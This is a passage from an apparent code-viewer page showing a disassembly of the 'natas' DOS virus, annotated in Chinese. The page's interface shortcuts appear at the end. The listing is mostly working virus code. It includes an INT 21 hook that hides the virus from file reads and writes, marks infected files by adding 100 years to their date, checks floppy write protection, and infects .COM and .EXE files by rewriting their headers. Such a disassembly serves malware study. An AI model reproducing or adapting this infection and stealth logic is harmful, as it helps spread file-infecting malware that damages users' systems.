📄 natas
字号:
9E80:06A6 7303 JNB 06AB
9E80:06A8 E9D801 JMP 0883
9E80:06AB 80FEC8 CMP DH,C8 ;取文件时间
9E80:06AE 7203 JB 06B3 ;如果传染,则减 100 年
9E80:06B0 80EEC8 SUB DH,C8
9E80:06B3 F8 CLC
9E80:06B4 E87803 CALL 0A2F ;设置 INT 21 返回值
9E80:06B7 894E0C MOV [BP+0C],CX ;设置返回 CX,DX 值
9E80:06BA 89560A MOV [BP+0A],DX
9E80:06BD E966FF JMP 0626
;==========================================================================
9E80:06C0 80FC3F CMP AH,3F ;INT 21 之读文件功能
9E80:06C3 7403 JZ 06C8
9E80:06C5 E9BD00 JMP 0785
9E80:06C8 E8E002 CALL 09AB ;取系统文件表项地址
9E80:06CB 76F8 JBE 06C5
9E80:06CD E86703 CALL 0A37 ;压缩程序内退出
9E80:06D0 74F3 JZ 06C5
9E80:06D2 C44511 LES AX,[DI+11] ;文件大小 => BX:AX
9E80:06D5 8CC3 MOV BX,ES
9E80:06D7 C45515 LES DX,[DI+15] ;当前指针 => SI:DX
9E80:06DA 8CC6 MOV SI,ES
9E80:06DC 2E83267C0700 AND Word Ptr CS:[077C],+00 ;读出长度清零
9E80:06E2 0BF6 OR SI,SI
9E80:06E4 754D JNZ 0733
9E80:06E6 83FA18 CMP DX,+18
9E80:06E9 7348 JNB 0733
9E80:06EB 51 PUSH CX ;当前指针 < 0000:0018
9E80:06EC 03CA ADD CX,DX
9E80:06EE F5 CMC
9E80:06EF 7303 JNB 06F4 ;> 64K 转 06F7
9E80:06F1 83F918 CMP CX,+18
9E80:06F4 59 POP CX ;读文件头 18 字节内
9E80:06F5 7205 JB 06FC ;转 06FC
9E80:06F7 B91800 MOV CX,0018 ;一半在文件头 18 字节内
9E80:06FA 2BCA SUB CX,DX ;CX=在文件头18字节内的字节数
9E80:06FC 50 PUSH AX
9E80:06FD 53 PUSH BX
9E80:06FE 52 PUSH DX
9E80:06FF 83EA18 SUB DX,+18 ;BX:AX = 文件长
9E80:0702 03C2 ADD AX,DX ;
9E80:0704 F5 CMC
9E80:0705 1BDE SBB BX,SI
9E80:0707 874515 XCHG AX,[DI+15] ;文件指针指向文件尾
9E80:070A 875D17 XCHG BX,[DI+17]
9E80:070D 50 PUSH AX
9E80:070E 53 PUSH BX
9E80:070F 1E PUSH DS
9E80:0710 B43F MOV AH,3F ;读出原文件头
9E80:0712 8B560A MOV DX,[BP+0A]
9E80:0715 8E5E02 MOV DS,[BP+02]
9E80:0718 E8A703 CALL 0AC2
9E80:071B 1F POP DS
9E80:071C 8F4517 POP [DI+17] ;恢复原文件指针
9E80:071F 8F4515 POP [DI+15]
9E80:0722 5A POP DX
9E80:0723 9C PUSHF ;由于分两部分读出
9E80:0724 03D0 ADD DX,AX ;所以保留第一次读出数
9E80:0726 2E01067C07 ADD CS:[077C],AX ;返回时加上第二次读出数
9E80:072B 9D POPF
9E80:072C 5B POP BX ;BX:AX = 文件长
9E80:072D 58 POP AX
9E80:072E 7303 JNB 0733
9E80:0730 E95001 JMP 0883
9E80:0733 895515 MOV [DI+15],DX ;读出第一部分后的
9E80:0736 897517 MOV [DI+17],SI ;文件指针
9E80:0739 8B4E0C MOV CX,[BP+0C] ;原读出字节数
9E80:073C 2E2B0E7C07 SUB CX,CS:[077C] ;减去已读出字节数
9E80:0741 2D8812 SUB AX,1288 ;BX:AX = 文件长
9E80:0744 83DB00 SBB BX,+00
9E80:0747 50 PUSH AX
9E80:0748 53 PUSH BX ;BX:AX = 减去病毒后文件长
9E80:0749 2BC2 SUB AX,DX ;
9E80:074B 1BDE SBB BX,SI
9E80:074D 5B POP BX
9E80:074E 58 POP AX
9E80:074F 7304 JNB 0755 ;当前指针不在病毒内转 0755
9E80:0751 33C9 XOR CX,CX ;当前指针在病毒内
9E80:0753 EB14 JMP 0769 ;则读出 0 字节
9E80:0755 03D1 ADD DX,CX
9E80:0757 83D600 ADC SI,+00 ;SI:DX = 读出后
9E80:075A 3BDE CMP BX,SI ;指针将要在的位置
9E80:075C 770B JA 0769
9E80:075E 7204 JB 0764
9E80:0760 3BC2 CMP AX,DX
9E80:0762 7305 JNB 0769 ;未到病毒内转 0769
9E80:0764 2BD1 SUB DX,CX ;
9E80:0766 91 XCHG AX,CX
9E80:0767 2BCA SUB CX,DX ;CX = 到原文件尾长度
9E80:0769 B43F MOV AH,3F
9E80:076B 8B560A MOV DX,[BP+0A]
9E80:076E 2E03167C07 ADD DX,CS:[077C]
9E80:0773 8E5E02 MOV DS,[BP+02]
9E80:0776 E84903 CALL 0AC2 ;读出文件
9E80:0779 7204 JB 077F
9E80:077B 051800 ADD AX,0018 ===> ;本字节在第一次读出时保存
9E80:077E F8 CLC
9E80:077F E8AD02 CALL 0A2F ;保存返回 AX
9E80:0782 E9A1FE JMP 0626
;==========================================================================
9E80:0785 80FC40 CMP AH,40 ;INT 21 之写文件功能
9E80:0788 7402 JZ 078C
9E80:078A EB52 JMP 07DE
9E80:078C E81C02 CALL 09AB ;取系统文件表项地址
9E80:078F 76F9 JBE 078A
9E80:0791 C44511 LES AX,[DI+11]
9E80:0794 8CC3 MOV BX,ES ;BX:AX = 文件长
9E80:0796 2D1800 SUB AX,0018
9E80:0799 83DB00 SBB BX,+00
9E80:079C 874515 XCHG AX,[DI+15] ;当前指针 => 文件尾-0018
9E80:079F 875D17 XCHG BX,[DI+17] ;BX:AX = 当前指针
9E80:07A2 50 PUSH AX
9E80:07A3 53 PUSH BX
9E80:07A4 B80200 MOV AX,0002
9E80:07A7 874502 XCHG AX,[DI+02] ;设置为写打开
9E80:07AA 50 PUSH AX
9E80:07AB 1E PUSH DS
9E80:07AC 0E PUSH CS
9E80:07AD 1F POP DS
9E80:07AE 07 POP ES
9E80:07AF E85902 CALL 0A0B ;读出原文件头 => CS:1270
9E80:07B2 268F4502 POP ES:[DI+02] ;恢复打开方式
9E80:07B6 721B JB 07D3
9E80:07B8 26894515 MOV ES:[DI+15],AX ;当前指针 => 文件开始
9E80:07BC 26894517 MOV ES:[DI+17],AX
9E80:07C0 E84B02 CALL 0A0E ;写文件头(恢复)
9E80:07C3 720E JB 07D3
9E80:07C5 06 PUSH ES
9E80:07C6 1F POP DS
9E80:07C7 816D118812 SUB Word Ptr [DI+11],1288
9E80:07CC 194513 SBB [DI+13],AX ;文件长 - 4744
9E80:07CF 806D10C8 SUB Byte Ptr [DI+10],C8 ;恢复日期
9E80:07D3 268F4517 POP ES:[DI+17] ;恢复文件指针
9E80:07D7 268F4515 POP ES:[DI+15]
9E80:07DB E9A500 JMP 0883 ;转原 INT 21
;=========================================================================
9E80:07DE 80FC3E CMP AH,3E ;关闭文件
9E80:07E1 740C JZ 07EF ;先复制文件句柄再传染
9E80:07E3 3D004B CMP AX,4B00 ;执行文件
9E80:07E6 7403 JZ 07EB ;先打开文件再传染
9E80:07E8 E99800 JMP 0883
9E80:07EB B8003D MOV AX,3D00
9E80:07EE 3DB445 CMP AX,45B4
9E80:07F1 E8E501 CALL 09D9 ;将 INT 13 切换到 BIOS
9E80:07F4 E8CB02 CALL 0AC2 ;打开/复制文件
9E80:07F7 2EA3C30A MOV CS:[0AC3],AX
9E80:07FB B80844 MOV AX,4408
9E80:07FE 99 CWD
9E80:07FF 727F JB 0880
9E80:0801 E8A701 CALL 09AB ;取系统文件表项
9E80:0804 7275 JB 087B ;出错退出
9E80:0806 7573 JNZ 087B ;已传染退出
9E80:0808 B33F MOV BL,3F
9E80:080A 225D05 AND BL,[DI+05] ;设备信息字
9E80:080D 8AD3 MOV DL,BL ;DL = 驱动器号 (A=0,B=1...)
9E80:080F 43 INC BX ;BX = 驱动器号 (A=1,B=2...)
9E80:0810 E8B202 CALL 0AC5 ;DOS 4408 功能
9E80:0813 B90100 MOV CX,0001 ;检测块设备是否可移动
9E80:0816 0E PUSH CS
9E80:0817 07 POP ES
9E80:0818 7205 JB 081F
9E80:081A 48 DEC AX
9E80:081B 7418 JZ 0835 ;固定设备转 0835
9E80:081D EB05 JMP 0824 ;非可移动设备退出
9E80:081F 80FA01 CMP DL,01
9E80:0822 7711 JA 0835 ;C 盘以上不用检测
9E80:0824 B80102 MOV AX,0201 ;如果是软盘,检测写保护
9E80:0827 BB1314 MOV BX,1413 ;先读出
9E80:082A CD13 INT 13
9E80:082C 724D JB 087B
9E80:082E B80103 MOV AX,0301 ;再写入
9E80:0831 CD13 INT 13
9E80:0833 7246 JB 087B ;无法写入退出(写保护)
9E80:0835 41 INC CX
9E80:0836 874D02 XCHG CX,[DI+02] ;设置文件打开方式为写打开
9E80:0839 51 PUSH CX ;保存原打开方式
9E80:083A 33C0 XOR AX,AX
9E80:083C 866504 XCHG AH,[DI+04] ;文件属性
9E80:083F F6C404 TEST AH,04 ;系统属性退出
9E80:0842 50 PUSH AX ;保存文件属性
9E80:0843 7530 JNZ 0875
9E80:0845 98 CBW
9E80:0846 99 CWD ;AX 清零
9E80:0847 874515 XCHG AX,[DI+15] ;移动文件指针到文件头
9E80:084A 875517 XCHG DX,[DI+17]
9E80:084D 50 PUSH AX ;保存原文件指针
9E80:084E 52 PUSH DX
9E80:084F BDBDB0 MOV BP,B0BD ;扩展名不为 "COM"
9E80:0852 036D28 ADD BP,[DI+28] ;转 085D
9E80:0855 7506 JNZ 085D
9E80:0857 BDB1B2 MOV BP,B2B1
9E80:085A 036D29 ADD BP,[DI+29]
9E80:085D E86900 CALL 08C9 ;执行传染子程序
9E80:0860 9C PUSHF
9E80:0861 E84701 CALL 09AB ;取系统文件表项
9E80:0864 9D POPF
9E80:0865 7204 JB 086B
9E80:0867 804510C8 ADD Byte Ptr [DI+10],C8 ;文件年份+100
9E80:086B 804D0640 OR Byte Ptr [DI+06],40 ;关闭时不设置时间
9E80:086F 8F4517 POP [DI+17] ;恢复系统文件表项
9E80:0872 8F4515 POP [DI+15] ;中相应内容
9E80:0875 8F4503 POP [DI+03]
9E80:0878 8F4502 POP [DI+02]
9E80:087B B43E MOV AH,3E ;关闭文件
9E80:087D E84202 CALL 0AC2
9E80:0880 E85601 CALL 09D9 ;将 INT 13 恢复到 DOS
9E80:0883 E89801 CALL 0A1E ;恢复 INT 24 及键盘状态
9E80:0886 0E PUSH CS
9E80:0887 1F POP DS
9E80:0888 B001 MOV AL,01
9E80:088A BFE313 MOV DI,13E3
9E80:088D 38452E CMP [DI+2E],AL ;??????
9E80:0890 7532 JNZ 08C4 ;放弃重新截取 INT 21 ????
9E80:0892 E82EF8 CALL 00C3 ;取中断向量 01
9E80:0895 891D MOV [DI],BX
9E80:0897 8C4502 MOV [DI+02],ES ;保存于 13E3
9E80:089A C6452F05 MOV Byte Ptr [DI+2F],05
9E80:089E C60697023F MOV Byte Ptr [0297],3F
9E80:08A3 BA7702 MOV DX,0277 ;设置中断向量 01
9E80:08A6 E82BF8 CALL 00D4 ;到 CS:0277
9E80:08A9 E856F8 CALL 0102 ;POPA
9E80:08AC 56 PUSH SI
9E80:08AD 9C PUSHF
9E80:08AE 5E POP SI ;标志 FLAG => SI
9E80:08AF E8BEF9 CALL 0270 ;启动 INT 01 (重新截取INT 21用)
9E80:08B2 5E POP SI ;本句转 INT 01 (0277) 执行
9E80:08B3 FA CLI
9E80:08B4 2E8E16D512 MOV SS,CS:[12D5] ;恢复原堆栈
9E80:08B9 2E8B26D712 MOV SP,CS:[12D7]
9E80:08BE FB STI ;转原 INT 21
9E80:08BF 2EFF2EFB13 JMP FAR CS:[13FB]
;=========================================================================
9E80:08C4 E83BF8 CALL 0102 ;POPA
9E80:08C7 EBEA JMP 08B3 ;
;=========================================================================
9E80:08C9 0E PUSH CS ;传染子程序
9E80:08CA 1F POP DS
9E80:08CB E83D01 CALL 0A0B ;读文件头 18H => 1270
9E80:08CE 7244 JB 0914
9E80:08D0 8BF2 MOV SI,DX
9E80:08D2 BF8812 MOV DI,1288 ;文件头 18H 移动到 1288
9E80:08D5 FC CLD ;准备修改
9E80:08D6 F3 REPZ
9E80:08D7 A4 MOVSB
9E80:08D8 E8D000 CALL 09AB ;取系统文件表项
9E80:08DB C44511 LES AX,[DI+11] ;文件大小 DX:AX
9E80:08DE 8CC2 MOV DX,ES
9E80:08E0 894515 MOV [DI+15],AX ;移动文件指针 => 文件尾
9E80:08E3 895517 MOV [DI+17],DX
9E80:08E6 0E PUSH CS
9E80:08E7 0E PUSH CS
9E80:08E8 07 POP ES
9E80:08E9 1F POP DS
9E80:08EA 8B0C MOV CX,[SI] ;文件头 2 字节
9E80:08EC 81F95A4D CMP CX,4D5A
9E80:08F0 7424 JZ 0916
9E80:08F2 81F94D5A CMP CX,5A4D
9E80:08F6 741E JZ 0916 ;.EXE 文件转 0916
;==========================================================================
9E80:08F8 0BD5 OR DX,BP ;传染 .COM 文件
9E80:08FA 7518 JNZ 0914
9E80:08FC 3D14ED CMP AX,ED14 ; > 60692 字节不传染
9E80:08FF 7713 JA 0914
9E80:0901 3DE803 CMP AX,03E8 ; < 1000 字节不传染
9E80:0904 720E JB 0914
9E80:0906 C604E9 MOV Byte Ptr [SI],E9 ;文件头改为 JMP XXXX
9E80:0909 FEC4 INC AH ;ADD AX,100H
9E80:090B 50 PUSH AX ;.COM 文件入口 11DA
9E80:090C 05D710 ADD AX,10D7 ;(0100+0003+10D7)
9E80:090F 894401 MOV [SI+01],AX
9E80:0912 EB7B JMP 098F
9E80:0914 F9 STC
9E80:0915 C3 RET
;===========================================================================
9E80:0916 837C0CFF CMP Word Ptr [SI+0C],-01 ;传染 .EXE 文件
9E80:091A 75F8 JNZ 0914 ;要分配内存不为 -1 返回
9E80:091C 8BE8 MOV BP,AX
9E80:091E 8BFA MOV DI,DX ;DI:BP = 文件长
9E80:0920 B90002 MOV CX,0200
9E80:0923 F7F1 DIV CX
9E80:0925 0BD2 OR DX,DX
9E80:0927 7401 JZ 092A
9E80:0929 40 INC AX
9E80:092A 2B4404 SUB AX,[SI+04]
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -